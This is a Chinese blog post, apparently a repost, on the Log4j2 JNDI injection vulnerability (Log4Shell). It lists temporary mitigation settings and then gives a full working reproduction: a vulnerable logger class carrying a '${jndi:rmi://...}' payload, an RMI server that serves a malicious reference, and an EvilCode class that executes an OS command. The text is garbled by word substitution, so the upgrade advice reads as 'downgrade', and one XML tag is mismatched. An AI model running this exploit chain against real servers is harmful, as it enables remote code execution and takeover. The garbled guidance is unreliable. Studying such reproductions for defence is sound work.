共计 3578 个字符,预计需要花费 9 分钟才能阅读完成。
事件背景
2021 年 12 月 10 日凌晨前,网上曝出了 log4j2 的 核弹级 破绽,这种破绽 超级高危,操作简略,利用不便,适用范围广 ,能够间接 任意代码执行 , 接管你的服务器
简要阐明
Java JNDI 注入破绽,通过结构字段使 log4j2 日志拜访指定好的门路,执行任意代码。
长期修复
JVM 参数增加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
平安倡议
目前,Apache Log4j 曾经公布了新版原本修复该破绽,请受影响的用户将 Apache Log4j2 的所有相干应用程序降级至最新的 Log4j-2.15.0-rc2 版本,同时降级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
简略复现
-
我复现的环境
操作系统 windows10 jdk: jdk1.8
- 目录构造
-
须要的依赖
<dependencies> <!--log4j2 外围包 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> <!-- 应用 yml 配置 log4j2--> <dependency> <groupId>com.fasterxml.jackson.dataformat</groupId> <artifactId>jackson-dataformat-yaml</artifactId> <version>2.12.3</version> </dependency> <!-- slf4j 外围包 --> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.32</version> </dependency> <!-- 用于与 slf4j 放弃桥接 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-slf4j-impl</artifactId> <version>2.9.1</version> </dependency> </dependencies>
-
受害者服务器代码
import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * 模仿运行存在破绽 log4j2 的服务器 */ public class ServerTest {private static final Logger logger = LoggerFactory.getLogger(ServerTest.class); public static void main(String[] args) { // 有些高版本 jdk 须要关上此行代码 //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); // 模仿填写数据, 输出结构好的字符串, 使受益服务器打印日志时执行近程的代码 同一台能够应用 127.0.0.1 String username = "${jndi:rmi://192.168.31.104:1099/evil}"; // 失常打印业务日志 logger.error("username:{}",username); } }
-
构建 RMI 服务来响应恶意代码
- Java RMI,即 近程办法调用 (Remote Method Invocation),一种用于实现 近程过程调用 (RPC) 的 Java API,能间接传输序列化后的 Java 对象和分布式垃圾收集。它的实现依赖于(JVM),因而它仅反对从一个 JVM 到另一个 JVM 的调用。
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* 筹备好 RMI 服务端,期待受益服务器拜访
*/
public class RMIServer {public static void main(String[] args) {
try {
// 本地主机上的近程对象注册表 Registry 的实例, 默认端口 1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
// 返回的 Java 对象
Reference reference = new Reference("EvilCode","EvilCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把近程对象注册到 RMI 注册服务器上,并命名为 evil
registry.bind("evil",referenceWrapper);
} catch (RemoteException | AlreadyBoundException | NamingException e) {e.printStackTrace();
}
}
}
-
恶意代码(关上计算器)
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; /** * 执行任意的脚本,目前的脚本会使 windows 服务器关上计算器 */ public class EvilCode { static {System.out.println("受益服务器将执行上面命令行"); Process p; String[] cmd = {"calc"}; try {p = Runtime.getRuntime().exec(cmd); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = null; while((line=br.readLine())!=null) {System.out.println(line); } } catch (IOException e) {e.printStackTrace(); } } }
- 复现成果
Java17 实现的改变
影响的代码为上述第 4 步, 次要在于 java9 之后模块化的起因。
形式一:
-
maven 的 pom 文件改变
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>17</source> <target>17</target> <compilerArgs> <arg>--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED</args> </compilerArgs> </configuration> </plugin> </plugins> </build>
- 增加 VM options:
--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED
形式二:
https://segmentfault.com/q/10…
正文完